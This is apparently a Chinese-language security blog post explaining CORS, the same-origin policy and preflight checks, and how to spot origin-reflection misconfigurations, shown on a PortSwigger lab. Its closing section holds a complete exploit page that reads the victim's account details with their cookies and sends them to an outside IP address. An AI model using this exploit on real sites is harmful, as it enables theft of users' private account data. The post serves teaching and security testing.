Featured image of post CORS

CORS

CORS跨域资源共享

什么是CORS

CORS(Cross-Origin Resource Sharing,跨域资源共享)是一种现代Web技术,用于解决浏览器的同源策略限制,允许不同源的Web应用安全地进行跨域HTTP请求。该机制通过允许服务器标示除了它自己以外的其他源,使得其它浏览器允许这些域加载自己的资源。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
如何标识呢通过Http响应头标识
Origin*         //表示所有请求均可
    Originhttps://www.bilibili.com        //只允许哔哩哔哩的请求

服务端响应头部
Access-Control-Allow-Origin指定允许访问资源的源*表示允许所有源或指定具体域名
Access-Control-Allow-Methods允许的HTTP方法如GET, POST, PUT
Access-Control-Allow-Headers允许的自定义头部如X-Custom-Header
Access-Control-Allow-Credentials是否允许发送Cookie值为true
Access-Control-Max-Age预检请求结果的缓存时间

什么是浏览器同源策略

同源策略是浏览器的一种安全机制,它阻止一个源(origin)的文档或脚本访问另一个源的资源。同源的定义是:

1
2
3
协议相同http/https
域名相同
端口相同

CORS的工作机制

简单请求

1
2
直接F12在浏览器控制台上
fetch('https://www.baidu.com')

简单请求:只使用了Get/POST/Head的请求,并且请求头只使用:Accept/Content-Type,浏览器会直接发起请求,然后检查服务端的http头,对于正常内容则加载

非简单请求

非简单请求:浏览器会发起一个Option方法来预检服务器是否允许当前域访问请求资源

为什么使用CORS

  1. 保护服务器,有助于减轻服务器的负载与风险
  2. 保护隐私,CORS限制了敏感数据的访问
  3. 安全考虑,防止盗取用户数据或进行CSRF攻击

如何解决CORS问题

1-同源策略(增加反向代理);

2-正确设置 CORS 标头,正确响应 Options 预检请求;

3-使用Jsonp

CORS漏洞案例

如何发现这种漏洞,当返回数据包中存在敏感信息时,如APIKey,账号密码,身份证等信息时就可以进行CORS测试

如果返回头是以下情况,那么是最好利用的,高风险

1
2
3
4
5
6
Access-Control-Allow-Originhttps://www.test.com
Access-Control-Allow-Credentials:true

//也可以认为是高危,只是漏洞利用起来麻烦一点
Access-Control-Allow-Originnull  //注意是小写
Access-Control-Allow-Credentials:true

低风险常见于配置错误,因为CORS安全机制阻止了这种情况下的漏洞利用

1
2
Access-Control-Allow-Origin*
Access-Control-Allow-Credentials:true

不存在漏洞情况

1
2
Access-Control-Allow-OriginNull  //小写才存在CORS漏洞,大写表示不存在
Access-Control-Allow-Credentials:true

具有基本源反射的 CORS 漏洞

1
2
3
在请求包中添加响应头
Origin: https://www.baidu.com
如果返回包正常返回
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
GET /accountDetails HTTP/2
Host: 0a84003e03504173801153c700a900ba.web-security-academy.net
Origin: https://www.test.com
Cookie: session=kL0xYb4ZOonl9QChIoXGQaZZQNpMU2e8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: https://0a84003e03504173801153c700a900ba.web-security-academy.net/my-account?id=wiener
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=4
Te: trailers

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<!-- cors.html -->
<!DOCTYPE html>
<html>
<head>
 <title>cors exp</title>

</head>

<body>
<script type="text/javascript">
var req = new XMLHttpRequest();
req.onload = reqListener;
//替换为存在漏洞的地址即可
req.open("GET", "https://0a84003e03504173801153c700a900ba.web-security-academy.net/accountDetails",'true'); 
req.withCredentials = true; 
req.send('{}');
function reqListener(){
   alert(this.responseText);
    //自己服务器记录日志的地址
 location='http://http://47.76.47.203:8232/?key='+this.responseText;
};
</script>

</body>

</html>

By Lsec
最后更新于 Jun 11, 2025 11:03 +0800
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计
¹鵵ҳ